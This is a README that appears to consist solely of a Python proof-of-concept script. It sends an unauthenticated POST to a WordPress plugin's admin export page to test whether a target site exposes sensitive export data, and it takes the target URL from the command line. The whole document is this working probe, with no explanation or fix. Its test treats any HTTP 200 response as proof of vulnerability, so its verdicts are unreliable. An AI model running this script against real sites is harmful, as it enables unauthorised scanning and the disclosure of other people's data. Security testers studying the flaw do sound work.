README.md
Rendering markdown...
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
args = parser.parse_args()
url = args.url.rstrip('/')
data = {'wpie_download_export_id': '1'}
def poc(url):
try:
r = requests.post('%s/wp-admin/admin.php?page=wpie-new-export' % url, data=data)
if r.status_code == 200:
print('[+] %s is vulnerable to unauthenticated sensitive data disclosure' % url)
else:
print('[-] Not vulnerable')
except Exception as e:
print('[-] An error ocurred')
print('[-] %s' % e)
exit()
if __name__ == '__main__':
poc(url)